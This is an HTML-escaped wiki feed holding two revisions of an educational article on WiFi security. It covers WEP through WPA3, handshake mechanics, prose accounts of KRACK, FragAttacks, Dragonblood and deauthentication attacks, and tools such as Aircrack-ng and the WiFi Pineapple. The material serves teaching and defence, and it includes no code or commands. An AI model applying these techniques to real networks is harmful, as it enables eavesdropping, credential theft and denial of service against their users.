This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16780</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16780"/>
		<updated>2024-12-07T17:00:22Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Known Weaknesses of WEP &lt;br /&gt;
&amp;lt;ref name=&amp;quot;WEP versus WPA&amp;gt;{{Conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Mansoori&lt;br /&gt;
| first3 = Masood&lt;br /&gt;
| title = Wired Equavilent Privacy (WEP) versus Wi-Fi Protected Access (WPA)&lt;br /&gt;
| booktitle = 2009 International Conference on Signal Processing Systems&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 445-449&lt;br /&gt;
| doi = 10.1109/ICSPS.2009.87&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5166826&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*WEP has no Mechanism to prevent to manipulate data packets.&lt;br /&gt;
*WEP can not prevent Replay Attacks&lt;br /&gt;
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.&lt;br /&gt;
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key.&lt;br /&gt;
*WEP allows attackers to modify messages or data without knowing the encryption key.&lt;br /&gt;
*with WEP it is easy to manipulate Authentication messages.&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
